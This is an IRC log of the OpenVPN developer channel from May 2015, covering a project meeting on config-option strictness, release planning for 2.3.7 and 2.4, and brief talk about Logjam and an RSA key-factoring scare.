EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 272 seconds] 05:28 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 05:29 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 05:29 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 265 seconds] 05:29 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 256 seconds] 05:32 -!- Haigha [~root@dovahkiin.xomg.net] has quit [Ping timeout: 256 seconds] 05:32 -!- ngharo [~ngharo@nexus.sypherz.com] has quit [Ping timeout: 265 seconds] 05:33 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 05:33 -!- mode/#openvpn-devel [+o andj] by ChanServ 05:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:36 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:36 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:36 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:38 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn-devel 08:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 19:21 -!- dazo is now known as dazo_afk --- Day changed Thu May 14 2015 06:03 -!- Far7ad [~Aghaeizad@151.243.227.112] has joined #openvpn-devel 06:05 < Far7ad> hi my friends , i want to know can i use openvpn api in my android application ? 07:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:21 <@ecrist> I don't see that vikingvpn is really doing anything wrong... 07:28 <@plaisthos> Far7ad: what exactly do you want to know? 07:51 < Far7ad> plaisthos, i want to use open vpn api in my android application , i just want to know can i use that in my android app or not , if i can i will clone the code and ... 07:52 < esde> huh 09:32 <@cron2> ecrist: the complaint I heard is that they are using modified OpenVPN source and are not providing sources. But I do not know if this is true, it has just been mentioned to me, and I found it surprising to see it mentioned here same day 09:57 -!- Far7ad [~Aghaeizad@151.243.227.112] has quit [Quit: Leaving] 15:25 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has quit [Quit: ZNC - http://znc.in] 16:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 17:01 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 18:14 <@ecrist> cron2: if you look at their setup instructions, they have you download OpenVPN Connect, or OpenVPN, or Tunnelblick, etc. 18:15 <@ecrist> hardly any evidence of modified source. --- Day changed Fri May 15 2015 00:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:01 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:01 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 03:16 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 06:48 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:35 <@cron2> ecrist: indeed, then I'm not sure I understand the hubbub... 07:35 <@cron2> mattock: are we having a meeting on monday? 09:09 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 10:32 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] 11:20 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:49 <@pekster> Re: Viking VPN, they seem to link directly to the community download page, at lest for the Windows instructions. They don't need to worry about providing users with source as upstream (us) already do 13:20 <@vpnHelper> RSS Update - gitrepo: Properly escape dashes on the man-page <https://github.com/OpenVPN/openvpn/commit/2d321609674a916c8cd7bbf0090e0342e90cca36> 13:22 <@cron2> haha :-) - last comment in #550 14:58 <@syzzer> haha, nice 15:56 < esde> is the claim on ostif.org "The OpenVPN team no longer allows any Americans to code for the project." true or no? 17:18 <@syzzer> esde: that would rule out James, which would be, well, weird 17:18 <@syzzer> so no. and i have no clue where the claim comes from. 17:23 <+krzee> esde, can you even find evidence that ostif has ever actually done anything? 18:08 < esde> i have not been able to 18:08 < esde> but im still looking 19:44 -!- n13l [~Daniel@aaa.anect.cz] has joined #openvpn-devel --- Day changed Sat May 16 2015 04:16 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 256 seconds] 04:37 -!- Netsplit *.net <-> *.split quits: @dazo_afk, +krzee, @syzzer 04:46 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 04:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:47 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:47 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:47 -!- dazo_afk is now known as dazo 05:18 <@vpnHelper> RSS Update - tickets: #554: Add support for partial TLS record reads (i.e. support 1/n-1 record splitting) <https://community.openvpn.net/openvpn/ticket/554> 05:54 <@cron2> esde: not true, period. 06:50 <@plaisthos> ostif.org gives a 404 06:53 <@plaisthos> @554 did not syzzer just disable that? 06:53 <@plaisthos> ignore my coment 07:39 < esde> ostif.org loads here 08:48 <@plaisthos> now it works here again too 09:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 09:27 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 09:28 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 276 seconds] 09:28 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 09:28 -!- mode/#openvpn-devel [+o pekster] by ChanServ 09:59 -!- krzee [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:00 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 10:02 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 265 seconds] 10:02 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 10:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 10:03 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 10:03 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 10:04 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 10:05 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:25 -!- segoon [~vasya@ppp83-237-16-2.pppoe.mtu-net.ru] has joined #openvpn-devel 13:11 <@cron2> usage of ETH_P_IPV6 is, indeed, totally unneeded :-) 13:16 -!- segoon [~vasya@ppp83-237-16-2.pppoe.mtu-net.ru] has quit [Quit: WeeChat 0.3.7] 16:12 <@vpnHelper> RSS Update - gitrepo: Use OPENVPN_ETH_P_* so that <https://github.com/OpenVPN/openvpn/commit/ddb1f20a9ddbb94956c9f7b1115c89543d9b411a> 19:14 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 19:19 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Quit: Leaving] --- Day changed Sun May 17 2015 05:32 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 05:48 -!- s7r_k [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 05:50 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 05:53 -!- s7r_k is now known as s7r 06:15 -!- Far7ad [~Aghaeizad@93.115.85.174] has joined #openvpn-devel 06:15 < Far7ad> hi again 06:22 < Far7ad> i want to compile android source in android studio ,but i have problem with gradle , may be its compiled by intelij and have problem with android studio 06:23 < Far7ad> can anybody help me please ? 06:28 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Ping timeout: 264 seconds] 06:31 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 06:43 -!- Far7ad [~Aghaeizad@93.115.85.174] has quit [Ping timeout: 244 seconds] 08:40 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 10:17 -!- s7r [debian-tor@openvpn/user/s7r] has joined #openvpn-devel 10:48 -!- s7r [debian-tor@openvpn/user/s7r] has quit [Remote host closed the connection] 11:33 <@plaisthos> If he had waited a bit long I might be have been able to help ... 19:23 -!- pekster [~rewt@openvpn/community/developer/pekster] has quit [Ping timeout: 272 seconds] 20:30 -!- pekster [~rewt@openvpn/community/developer/pekster] has joined #openvpn-devel 20:30 -!- mode/#openvpn-devel [+o pekster] by ChanServ --- Day changed Mon May 18 2015 01:55 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 01:55 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Remote host closed the connection] 02:20 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:20 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:20 <@mattock1> lovely, windows snapshot builds keep accumulating: http://build.openvpn.net/downloads/snapshots/ 02:20 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 02:33 <@syzzer> mattock1: these are -master snapshots? 02:37 <@cron2> syzzer: I think so, yes - the committish of 2015051622 points to the OPENVPN_ETH_P patch in master :) 02:43 <@syzzer> ah, nice. time to merge the windows service then! :) 03:03 <@mattock1> syzzer: yes, they are master snapshots 03:04 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:41 <@dazo> mattock1: git.openvpn.in !? 03:42 <@dazo> git.openvpn.in has address 10.7.39.251 03:42 <@dazo> www.openvpn.in has address 10.7.38.254 03:50 <@mattock1> dazo: now it happened - mistyping or mis-autocomplete rather 03:50 <@mattock1> that email was not really meant public distribution :) 03:50 <@dazo> it's the mail I was thinking of :) 03:53 <@mattock1> actually, I had not sent mail to our internal dev list from this particular OS installation (Fedora 21, btw), which is why it autocompleted to openvpn-devel 03:53 <@mattock1> it = thunderbird 04:23 <@cron2> mattock1: disk space is *always* running out :-) 04:51 <@vpnHelper> RSS Update - tickets: #555: Using GitHub integrated issue tracking <https://community.openvpn.net/openvpn/ticket/555> 05:09 <@vpnHelper> RSS Update - tickets: #556: Dual Stack with specific IPv4 not working <https://community.openvpn.net/openvpn/ticket/556> 05:36 <@mattock1> cron2: yeah, indeed :P 07:38 -!- dazo is now known as dazo_afk 08:01 -!- dazo_afk is now known as dazo 10:33 -!- dazo is now known as dazo_afk 11:44 <+krzee> well that was a nice scare yesterday 11:44 <+krzee> regarding the factored 4096 rsa keys 11:45 <+krzee> (anybody hearing this for the first time, dont worry it ended up being nothing) 11:59 <@ecrist> *whew* 12:01 <+krzee> https://blog.hboeck.de/archives/872-About-the-supposed-factoring-of-a-4096-bit-RSA-key.html 12:01 <@vpnHelper> Title: About the supposed factoring of a 4096 bit RSA key - Hanno's blog (at blog.hboeck.de) 12:49 <@syzzer> krzee: and even *if* there would have been valid weak 4096-bit rsa keys, that would not mean rsa 4096 is no longer safe :) 12:50 <@syzzer> it just means people should check their keys to not be weak 12:50 <+krzee> right, but then comes the question, what did they generate their keys on? 12:51 <@syzzer> yep, and with what software 12:51 <+krzee> surely the linux dev who the key supposedly belonged to didnt generate it on a openwrt device for example, he probably used best practices 12:52 <+krzee> if it was real it would have been be a big deal to me 12:55 <@syzzer> agreed. probably a bit hardbleed-like. but the first time I read it I thought someone was claiming 4096-bit rsa was broken. now *that* would have been a big deal (and hard to believe) ;) 12:57 <+krzee> ahh i did not see that claim, just saw that someone had factored 2 specific keys, 1 of which belonging to a linux dev and containing 231 (iirc) as one of the factors (which itself is divisible by 3) 12:58 <+krzee> not as big a deal as the claim you saw, but still a very big deal to me if it was real 12:58 <+krzee> glad it is not :D 13:00 <@mattock1> meeting time 13:00 <@mattock1> who do we have here? 13:01 <+krzee> o/ 13:01 <@syzzer> well, me, obviously :p 13:03 <@cron2> \ob/ 13:03 <@mattock1> hi! 13:03 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2015-05-18 13:03 <@vpnHelper> Title: Topics-2015-05-18 – OpenVPN Community (at community.openvpn.net) 13:04 <@mattock1> anything to add to the agenda? 13:04 <@syzzer> will james be joining tonight? 13:04 <@mattock1> I have not explicitly asked him 13:04 <@mattock1> I can send him an email if you think we'd need him 13:04 <@mattock1> any topics in particular for James? 13:04 <@syzzer> he usually has an opinion on config file discussions 13:04 <@mattock1> ok, I'll mention that 13:06 <@mattock1> mail sent 13:08 <@mattock1> maybe we could start from topic #2, "Support requests sent to the security list" 13:08 <@mattock1> any thoughts on creating a honeypot email address for clueless people? 13:08 <@cron2> +1 13:09 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has joined #openvpn-devel 13:09 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:09 <+krzee> +1 13:09 <@syzzer> if I get less mail from clueless people, I'm all for it :p 13:09 <@mattock1> great! 13:09 <+krzee> we have support places 13:09 <@mattock1> I'll get it done or fail trying then 13:09 <+krzee> no reason for them to spam you guys 13:10 <@mattock1> krzee: yeah, exactly 13:10 <@mattock1> hi james! 13:10 <@mattock1> I think we can move to topic #1 now 13:10 <@mattock1> http://thread.gmane.org/gmane.network.openvpn.devel/9599 13:10 <@syzzer> perfect timing 13:10 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:10 <+krzee> hey james =] 13:10 <@jamesyonan> hi guys 13:10 <@cron2> hi Jams 13:10 <@cron2> argh, typing impaired 13:11 <+krzee> did anyone show james that page that said usa people were banned from contributing? lol 13:12 <@jamesyonan> that sounds like something out of the 90s 13:13 <@mattock1> krzee: what page? 13:14 <@syzzer> ostif.org I believe, but I never managed to actually find the claim on the site 13:15 <+krzee> i saw it before, trying to find again 13:16 <@mattock1> so config parsing? 13:16 <@mattock1> syzzer, cron2: you had some discussion about this on the ml 13:16 <+krzee> ive seen people put funny options to redirect-gateway that were not fatal and would have helped the user to find their own problem if they were 13:16 <@syzzer> yes, I voiced my opinion. I think it is a bit harsh for 2.3, but we should not silently ignore extra parameters and I would be fine with rejecting such configs in 2.4 13:17 <@cron2> it's a bit too intrusive for 2.3, I'd say, but I agree on 2.4 13:17 <@mattock1> sounds reasonable 13:17 <@cron2> we just need to decide whether to make it a warning or a fatal 13:17 <@mattock1> jamesyonan: thoughts? 13:17 <@mattock1> also, what does openvpn 3.x do? 13:17 <+krzee> could be a warning in 2.3 and fatal in 2.4 13:18 <@mattock1> krzee: good point 13:18 <@cron2> krzee: no, as it's a high amount of to-be-changed code 13:18 <+krzee> ahh 13:18 <@jamesyonan> I'm fine with this for 2.4, but I'm wondering if configs might break that depend on the relaxed approach towards extra args 13:18 <@cron2> (basically, every single option statement) 13:18 <@mattock1> do we need a relaxed option parser to ensure future compatibility? 13:19 <+krzee> are there options where old versions took other flags? 13:19 <@cron2> jamesyonan: do you have specific cases in mind, or just "some configs that have never done anything are now going to error"? 13:19 <@jamesyonan> no specific cases in mind at this point 13:19 <@cron2> this was, I think, what started the discussion - config errors like --opta foo bar optb 13:20 <@cron2> where "--optb" should have been would have been silently ignored, but the user actually *wanted* --optb here... 13:20 <@syzzer> I'm pretty sure configs will break, but I tend to think that is acceptable for 2.3 -> 2.4, and actually a good thing 13:21 <@syzzer> ^^ what cron2 said 13:21 <@jamesyonan> should we have an options that controls it with error, warning, ignore settings? 13:22 <@syzzer> i would not be in favour of that. if people have to change their configs, lets make them fix the config, instead on continue using a broken one 13:28 <@mattock1> any other thoughts? 13:30 <@cron2> I'm with syzzer here - if we break it, break it :-) - I have considered having an option, but what would be the benefit? I *want* to keep this broken config *stamp foot*! (To make it truly useful, it would have to be added as a checkbox to all the guis "ignore broken options in the profile your VPN provider gave you!" or so) 13:32 <+krzee> having a bad config option is fatal worthy to me, i agree theres no benefit to an option that says "let me have a messed up config" 13:32 <@cron2> ... and since we have a volunteer who proposed that, this topic will be back for code-ACKing anyway... 13:33 <@mattock1> does this apply to all options, or just those that take extra parameters? 13:33 <@cron2> all of that, what good is "--client foo"? 13:34 <@cron2> this could be a misplaced "--client --foo", or garbage, or what do we know... 13:36 <@mattock1> so we basically agree on this? 13:36 <@mattock1> "make sense" 13:37 <@syzzer> think so. who sends a mail to the list/ 13:37 <@jamesyonan> I would tend to agree with this. Since the change will need to patch handling code for every option individually, it gives us room to tweak the logic down the road if the new strictness breaks reasonable configs. 13:39 <@mattock1> we might even find hidden features (break) in OpenVPN :) 13:39 <@cron2> what james says :) 13:39 <@mattock1> next topic? 13:39 <@cron2> yep 13:39 <@mattock1> #3 "Status of OpenVPN 2.3.7" 13:39 <@cron2> well 13:39 <@cron2> "coming..." 13:40 <@mattock1> does that cover 2.4 also? :P 13:40 <@cron2> I've received feedback on #480 ("patch works!"), but was away two weeks, so nothing has happened yet 13:40 <@cron2> merge soon 13:40 <@cron2> on #481, I'm still waiting for feedback 13:41 <@mattock1> oh, sorry for this minor interruption... jamesyonan: there's a "OpenVPN Techonologies, Inc. products" query on Trac: https://community.openvpn.net/openvpn/report/18 13:41 <@cron2> ditto on #523 (merge the first part of the patch on lazy-ack, poke plaisthos to think about the second part) 13:42 <@vpnHelper> Title: OpenVPN Technologies, Inc products – OpenVPN Community (at community.openvpn.net) 13:42 <@syzzer> #512 was merged, right? 13:42 <@mattock1> yes 13:43 <@cron2> yep, both 2.3 and master 13:44 <@mattock1> I'll close #512 13:44 <@cron2> on 2.3, I'd say "let me work two weeks on what I can manage, and decide next meeting whether we want anything else, or whether this is good enough and the rest goes to 2.3.8". 13:44 * syzzer rediscovers he volunteered for #225... 13:44 * cron2 sort of inherited a pile of ... things 13:45 <@cron2> last week at the RIPE meeting, at least *three* persons approached me that ipv6-transport and ipv6-payload interact in "incomplete ways" when the vpn server is *inside* the network block pushed via "push route-ipv6"... :-( - but that is 2.4 material 13:46 <+krzee> 3 people hit you up at the meeting but nobody bothered to file a ticket prior? 13:46 <+krzee> :/ 13:46 <+krzee> or was there tickets already? 13:46 <@cron2> it's a long-standing issue... there might even *be* a ticket - there is LOTS of stuff with "milestone 2.4" 13:47 <@mattock1> it seems I've volunteered on a few tickets myself 13:48 <@cron2> (and I sort of tempted them, by walking around one day with the OpenVPN t-shirt... made contact with one of the dd-wrt developers [I hear dazo screaming...], and he's actually quite a nice guy... he has a few itches to scratch, and proposed to pay one of his programmers to do a patch if we agree on the general direction... still waiting for details, though) 13:48 <@cron2> well, not "dd-wrt developers" but "heads behind the dd-wrt company" 13:49 <@cron2> but that's sidetracking - agreement on 2.3.7 direction? 13:49 <@mattock1> direction =~ "fix whatever we can in two weeks and postpone the rest to 2.3.8?" 13:49 <@syzzer> jamesyonan: have you seen this one: https://community.openvpn.net/openvpn/ticket/553 13:49 <@vpnHelper> Title: #553 (Password validation broken in openvpn client) – OpenVPN Community (at community.openvpn.net) 13:52 <@cron2> mattock1: yes, to close this topic for today :) 13:53 <@syzzer> yes, not much more to say 13:53 <@jamesyonan> re: 553, what is running on the server side? Access Server? 13:54 <@mattock1> it seems I only _thought_ about fixing #373 instead of actually fixing it :P 13:54 <@mattock1> I'll provide a patch then 13:55 <@syzzer> jamesyonan: no clue, I just noticed it. would not surprise me if it was the users own crappy script. 13:56 <@mattock1> so on to topic 4, "OpenVPN 2.4" 13:57 <@mattock1> I assume interactive service is still a bit work in progress 13:58 <@syzzer> how do we get more progress there? I have can do the "move things into struct tt"-patch, if that helps 13:58 <@cron2> I think we have three major topics here: AEAD, IPv6 (mentioned above), iService 13:58 <@cron2> syzzer: indeed that would help - I planned to do it, but (excuses) 13:59 <@syzzer> I'll do that 13:59 <@mattock1> great! 13:59 <@syzzer> is that enough to get into -master ? 14:00 <@cron2> no :) 14:00 <@cron2> but it's enough to go into a branch in the main repo where mattock can build installers from it 14:00 <@mattock1> there are still a few Windows installer-related fixes I need to tackle, but all of them might not be necessary for the first alphas 14:00 <@cron2> (that was sort of the plan we had - make it less intrusive [struct tt], get it tested on its own, then merge) 14:01 <@syzzer> ok 14:03 <@mattock1> what about AEAD and IPv6? anything blocking those except lack of time/motivation? 14:04 <@cron2> IPv6: lack of time - I think I need about 3-4 days of "quiet", and squeezing this into "30 minutes in the evening" isn't working out 14:04 <@cron2> AEAD: syzzer should push us harder, I think :) 14:04 <@mattock1> things rarely squeeze into 30 mnutes 14:05 <@syzzer> AEAD - needs more review and I need to tidy up and sent more patches 14:05 <@mattock1> syzzer: did you and james agree to do some testing/review on AEAD? 14:05 <@cron2> mattock1: well, some of these trac tickets do, once I motivate myself to actually go looking :) "too many tickets" is not overly motivating, though, and "bah, I've looked at this ticket 20 times now, it can wait more!" neither :) 14:05 <@syzzer> I think we agreed, but we did not do any since the last time we discussed 14:06 <@mattock1> cron2: agreed 14:07 <@mattock1> I'd say that given our current resource we should probably focus on 2.3.7 things first, then forget about 2.3.8 and work on 2.4.x 14:07 <@mattock1> I mean try to focus on one release at a time 14:08 <@mattock1> 2.3.7 release in slightly over 2 weeks? 14:09 <@cron2> "aim for that" 14:10 <@mattock1> I will force myself to do my part before that 14:10 <@syzzer> ok. focus on 2.3 for the coming two weeks. 14:12 <@mattock1> regarding interactive service testing 14:12 <@mattock1> when do we deem the code ready to go to master? 14:12 <@mattock1> typically people don't use anything but stable releases 14:13 <@mattock1> are we content with scattered "works for me" type reports? 14:14 <@cron2> well, d12fk says it works for their customer base, so it already got some testing 14:14 <@cron2> (quite!) 14:14 <@mattock1> I doubt there will be any horrible issues 14:14 <@mattock1> I'd just like to avoid the situation where 2.4 is blocked only by the interactive service because it's been forgotten in some Git branch 14:15 <@mattock1> so "scattered reports" is probably good enough 14:15 <@mattock1> the basic functionality is easy to test I believe ("run openvpn as non-admin") 14:15 <@cron2> yes, and then the stuff that iservive brings - v4 ifconfig, v6 ifconfig, v4/v6 routes, cleanup on exit 14:18 <@mattock1> let's document a set of tests after the iService-enabled installers are available 14:18 <@mattock1> anything else for today? 14:19 <@cron2> not from me... 14:19 <@mattock1> I think I'll continue my ticket review from tickets assigned to milestones 2.3.7 and 2.4 14:19 <@mattock1> I've covered less tickets that I had liked, maybe 20 or so 14:19 <@mattock1> I'll focus a bit 14:20 <@mattock1> meeting in two weeks? 1st June 14:20 <@mattock1> and try to push out 2.3.7 later that week 14:20 <@cron2> +1 14:20 <@mattock1> hmm, I will be in Crete at that time, but I should have some sort of internet connectivity 14:21 <@mattock1> enough for IRC at least 14:21 <@syzzer> there, a patch on the list to close #127 \o/ 14:21 <@mattock1> syzzer: excellent! 14:21 <@syzzer> focus on 2.4 failed already :') 14:21 <@syzzer> uh, 2.3 14:22 <@cron2> bug fixed is bug fixed :) 14:22 <@syzzer> man-page update, with a supplied patch, since 2011... 14:22 <@cron2> and that one actually should go to 2.3 as well, documentation si godo 14:25 <@mattock1> I think I dare ACK that patch 14:25 <@syzzer> cron2: git send-email seems to have eaten the original authors name from the patch, could you reinstate that before applying? 14:25 <@cron2> mattock: too late, already ACKed :-) 14:26 <@cron2> commit --amend --author=... done 14:26 <@cron2> now wrangling with 2.3 14:26 <@mattock1> cron2: ok 14:28 <@mattock1> cron2: can you merge the --port patch immediately, so that we can close #127? 14:28 <@mattock1> um, I wonder if it merges cleanly with 2.3... 14:28 <@cron2> working! 14:28 <@mattock1> great! 14:28 <@cron2> (no, because of --bind [ipv6only] two lines below) 14:29 <@mattock1> btw. I received some generic information mail from Coverity today 14:29 <@mattock1> it seems that we could automatically upload new sources to Coverity somehow 14:30 <@mattock1> that would make Coverity a bit more useful 14:30 <@cron2> and someone should actually look at the results every now and then :) 14:30 <@mattock1> yes, that would help even more :P 14:31 <@mattock1> I'll send the summary soon and then I have to split 14:31 <@mattock1> early wake up tomorrow 14:32 <@cron2> good night! (we're pretty much done anyway, I think) 14:32 <@cron2> uh 14:32 <@cron2> syzzer: #461 - "cipher none" again?! 14:33 <@syzzer> that's an old one, right/ 14:33 <@cron2> janjust just reported that it fails for him, but sort of failed to mention which openvpn version or OS he used... 14:34 <@vpnHelper> RSS Update - gitrepo: Updated manpage for --rport and --lport <https://github.com/OpenVPN/openvpn/commit/d3eacb2d6ebb8a42506343c54e00c72252d683f8> 14:35 <@syzzer> 'really fix --cipher none' is not in 2.3.6 14:35 <@cron2> oh 14:35 <@cron2> time to really release 2.3.7! 14:35 <@syzzer> yup 14:39 <@mattock1> argh, silly me, redundant commenting in #127 14:40 <@syzzer> heh, did I beat you to it/ 14:40 <@cron2> haha :) 14:40 <@mattock1> ok, bedtime 14:40 <@mattock1> clearly 14:45 <@syzzer> phew, jjk was running 2.3.6 15:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] --- Day changed Tue May 19 2015 00:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 02:13 -!- dazo_afk is now known as dazo 02:19 <@dazo> syzzer: ping .... noticed this rh-bz ... https://bugzilla.redhat.com/show_bug.cgi?id=1221649 ... I just wonder if we should move this .gitignore into the global .gitignore instead? 02:19 <@vpnHelper> Title: Bug 1221649 Don't ship .gitignore (at bugzilla.redhat.com) 02:19 <@dazo> (I'm not even sure if .gitignore files in sub-dirs are respected) 03:06 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Ping timeout: 244 seconds] 03:07 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:54 * cron2 abstains "I do know nothing about git") 04:59 <@dazo> :) 05:01 <@plaisthos> iirc subdirctory gitignore work 05:03 <@dazo> you're right, plaisthos .... seems to work (at least on 1.8.3.1) 05:12 <@plaisthos> on my git version 2.3.2 (Apple Git-55) 05:12 <@plaisthos> too 06:33 <@syzzer> no strong feeling about the .gitignore location here 06:34 <@syzzer> I usually put them in each dir I want to exclude files, but one central .gitignore works for me too 06:35 <@dazo> I like that git is centralized ... and you don't have to clean up each directory when packaging it .... like the horrors of SVN and CVS 06:35 <@dazo> and it avoids issues like the bz reported 06:36 <@dazo> (centralized ... on the local file system, not spread out all across every directory) 06:49 <@syzzer> ok. will you send a patch? 07:04 <@dazo> syzzer: will do! 07:04 * dazo need to run 09:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 10:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:16 -!- dazo is now known as dazo_afk 12:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 12:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 14:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:22 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:25 -!- dazo_afk is now known as dazo 14:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 15:36 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 265 seconds] 15:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 15:39 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:01 -!- jamesyonan [~jamesyona@c-67-166-32-18.hsd1.co.comcast.net] has quit [Ping timeout: 256 seconds] 16:21 <@syzzer> meh, #225 has the typical pre/post chdir() issues. previously, the user/auth file would be read before any call to chdir() reading the file (again) during (re)connect will need other relative paths... 16:21 <@syzzer> or absolute paths ofc 17:57 -!- INIT_6_ [~init6@cookie.baconseed.org] has joined #openvpn-devel 17:57 -!- INIT_6_ [~init6@cookie.baconseed.org] has left #openvpn-devel [] 17:59 -!- dazo is now known as dazo_afk --- Day changed Wed May 20 2015 00:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:20 <@cron2> whee 01:21 * cron2 should not have made so much fuzz about trac tickets... now the patches are streaming in... and due to kindergarden strike I'm somewhat more time-challenged than usuall... 02:11 <@syzzer> fyi: https://weakdh.org/ 02:11 <@vpnHelper> Title: Logjam: How Diffie-Hellman Fails in Practice (at weakdh.org) 02:12 <@syzzer> pretty bad for browsers and ipsec, but at first sight openvpn seems to get away with it in most cases 02:34 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Remote host closed the connection] 02:35 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 02:40 <@plaisthos> looking at weakdh, it seems that throwing out export ciphers seems to be a good idea 02:54 <@cron2> dodm 02:54 <@cron2> didn't we already do that? 02:57 <@syzzer> cron2: just in master 02:57 <@syzzer> at least by default, users can still override it and re-enable export ciphers 02:59 <@syzzer> but since openvpn encourages users to generate their own dh groups (and by now also encourages 2048 bits, instead of 1024), openvpn is not at all a likely victim 02:59 <@syzzer> also, the downgrade requires a mitm position -> tls-auth ftw! 04:35 -!- s7r [debian-tor@openvpn/user/s7r] has joined 